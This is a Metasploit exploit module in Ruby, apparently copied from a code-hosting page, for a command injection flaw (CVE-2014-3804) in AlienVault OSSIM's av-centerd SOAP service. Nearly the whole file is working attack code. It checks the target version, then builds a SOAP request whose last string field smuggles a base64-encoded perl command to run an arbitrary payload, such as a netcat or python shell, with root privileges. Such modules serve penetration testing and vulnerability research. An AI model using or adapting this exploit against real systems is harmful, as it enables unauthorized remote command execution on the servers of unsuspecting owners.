141 lines
4.1 KiB
Ruby
141 lines
4.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rexml/document'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include REXML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'AlienVault OSSIM av-centerd Command Injection',
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'Description' => %q{
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This module exploits a code execution flaw in AlienVault 4.6.1 and
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prior. The vulnerability exists in the av-centerd SOAP web service,
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where the update_system_info_debian_package method uses perl backticks
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in an insecure way, allowing command injection. This module has been
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tested successfully on AlienVault 4.6.0.
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},
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'Author' =>
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[
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'Unknown', # From HP ZDI team, Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2014-3804'],
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['BID', '67999'],
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['ZDI', '14-202'],
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['URL', 'http://forums.alienvault.com/discussion/2690']
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],
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'Privileged' => true,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Payload' =>
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{
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#'BadChars' => "[;`$<>|]", # Don't apply bcuz of the perl stub applied
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'Compat' => {
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'RequiredCmd' => 'perl netcat-e openssl python gawk'
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}
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},
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'DefaultOptions' =>
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{
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'SSL' => true
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},
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'Targets' =>
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[
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[ 'AlienVault <= 4.6.1', { }]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'May 5 2014'))
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register_options(
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[
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Opt::RPORT(40007)
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], self.class)
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end
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def check
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version = ""
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res = send_soap_request("get_dpkg")
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if res &&
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res.code == 200 &&
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res.headers['SOAPServer'] &&
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res.headers['SOAPServer'] =~ /SOAP::Lite/ &&
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res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/
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version = $1
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end
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if version.empty? || version >= "4.7.0"
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return Exploit::CheckCode::Safe
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else
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return Exploit::CheckCode::Appears
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end
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end
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def exploit
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send_soap_request("update_system_info_debian_package", 1)
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end
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def build_soap_request(method)
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xml = Document.new
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xml.add_element(
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"soap:Envelope",
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{
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'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
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'xmlns:soapenc' => "http://schemas.xmlsoap.org/soap/encoding/",
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'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
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'soap:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/",
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'xmlns:soap' => "http://schemas.xmlsoap.org/soap/envelope/"
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})
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body = xml.root.add_element("soap:Body")
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m = body.add_element(
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method,
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{
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'xmlns' => "AV/CC/Util"
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})
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args = []
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args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'})
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args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'})
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args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'})
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args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'})
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(0..3).each { |i| args[i].text = rand_text_alpha(4 + rand(4)) }
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if method == "update_system_info_debian_package"
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args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'})
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perl_payload = "system(decode_base64"
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perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))"
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args[4].text = "#{rand_text_alpha(4 + rand(4))}"
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args[4].text += " && perl -MMIME::Base64 -e '#{perl_payload}'"
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end
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xml.to_s
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end
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def send_soap_request(method, timeout = 20)
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soap = build_soap_request(method)
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res = send_request_cgi({
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'uri' => '/av-centerd',
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'method' => 'POST',
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'ctype' => 'text/xml; charset=UTF-8',
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'data' => soap,
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'headers' => {
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'SOAPAction' => "\"AV/CC/Util##{method}\""
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}
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}, timeout)
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res
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end
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end
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